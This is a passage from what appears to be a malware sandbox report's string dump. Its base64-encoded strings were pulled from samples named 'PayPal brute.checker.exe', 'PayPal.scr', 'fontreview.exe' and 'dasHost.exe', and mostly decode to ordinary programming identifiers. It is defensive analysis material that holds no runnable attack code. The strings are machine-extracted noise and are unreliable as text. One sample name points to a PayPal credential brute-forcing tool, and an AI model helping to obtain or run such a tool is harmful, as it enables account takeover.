File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUG9vbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUHJlZGljYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUHJpbnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUHJvY2Nlc29y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUHJvY2Vzcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUHJvZHVjZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUHJvZHVjdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUHJveHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUXVldWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVhZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVjb3Jk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVm","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVnaXN0cnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVzb2x2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUnVsZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUnVsZXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlU2VyaWFsaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlU2luZ2xldG9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlU3RhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlU3RyYXRlZ3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVGFzaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVGVtcGxhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVGVzdHM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVG9rZW5pemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVmFsdWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVmlzaXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlV2F0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlV3JhcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlV3JpdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGaWVsZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VHZXR0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VIZWxwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VJZGVudGlmaWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VJbXBvcnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VJbmRleGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VJbmZv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VJbml0aWFsaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VJbnN0YW5jZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VJbnRlcmNlcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VJbnRlcnByZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VJc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VMaXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VMaXN0ZW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VNYXBwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VNZXNzYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VNZXRob2Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VNb2Nr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VNb2RlbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VPYmplY3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VPYnNlcnZlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VPcmRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQYXJhbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQYXJhbXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQYXJzZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQb29s","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQcmVkaWNhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQcmludGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQcm9j","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQcm9jY2Vzb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQcm9jZXNz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQcm9kdWNlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQcm9kdWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQcm90b3R5cGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQcm94eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQdWJsaXNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VRdWV1ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VSZWFkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VSZWdpc3RyeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VSZXNvbHZlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VSb2xl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VSdWxlcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VTZXJpYWxpemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VTZXJ2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VTZXR0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VTaW5nbGV0b24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VTdGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VTdGF0dXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VTdHJhdGVneQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VTdHJ1Y3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VTeXN0ZW0=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VUZW1wbGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VUb2tlbml6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VVdGlscw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VWaXNpdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VXYXRjaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VXcmFwcGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXhpc1R5cGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXkgUGxheU1lIHdhaXQ=","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QVlDUkVBVEVJVEVN","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"QVlDUkVBVEVNRU5V","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"YXlJY29uSGlkZQ==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QVlJVEVNREVMRVRF","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"QVlTRVRDTElDSw==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QVlTRVRJQ09O","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QVlTRVRTVEFURQ==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YXotQVotQ3lybA==","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YXotTGF0bi1BWg==","type":"Unicode","source":"Memory/File Scan","process":"powershell.exe","filename":"00100099-00003764.00000000.100261.3FDA1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXsrVGNrJHsz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QjJJcSVoWyBH","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QjhGOG04dzh7OMOvwr/CvQ==","type":"Ansi","source":"Runtime Data","process":"PayPal brute.checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YjlgaGdrJFh8LA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Yl9Qb3NpdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QkEzQUQzODIyNTA3NDcxNEU1OUU1QzE0MUE2MzRBRDlCNzlEQ0VBQw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmFja2VkVmlydHVhbA==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YmFkIGFsbG9jYXRpb24=","type":"Ansi","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YmFkIGFycmF5IG5ldyBsZW5ndGg=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YmFkIGV4Y2VwdGlvbg==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZSBDbGFzcyBBcnJheSc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZSBDbGFzcyBEZXNjcmlwdG9yIGF0ICg=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZSBTY2hlbWEgTmFtZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZTY0RGVjb2Rl","type":"Ansi","source":"Dropped File","process":null,"filename":"dasHost.exe.2647022759","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZTY0RW5jb2RlZERhdGE=","type":"Ansi","source":"Dropped File","process":null,"filename":"dasHost.exe.2647022759","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZUFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZUFsZ28=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZUNhdGFsb2dOYW1l","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZUNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZUNvbHVtbk5hbWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZUNvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZUdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZU1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZVBhcmFtZXRlckNvbnN1bWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZVBvbGljeU1hcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZVByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZVJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZVJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZVJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZVNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZVNjaGVtYU5hbWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZVNlcnZlck5hbWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZVNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZVNwZWNpZmljYXRpb25MaXN0ZW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZVRhYmxlTmFtZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZVdvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZVdvcmtlckRlZg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmFzc2FfVmFo","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QkNGMTREN0RGRTAwRUM2NUFDRTVCRTk5MUVDQ0JDMkFDQjlGQjJCNg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QkRTVW50aGVtZWREZXNpZ25lcg==","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal.exe.597571784","compromised":null,"detection_total":null,"total":null},{"value":"QmVnaW5EYlRyYW5zYWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmVnaW5Jbml0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmVnaW5JbnZva2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmVnaW5Mb2FkRGF0YQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmVnaW5QYWludA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QmVnaW5QYXRo","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QmVzdEluZGV4","type":"Ansi","source":"Dropped 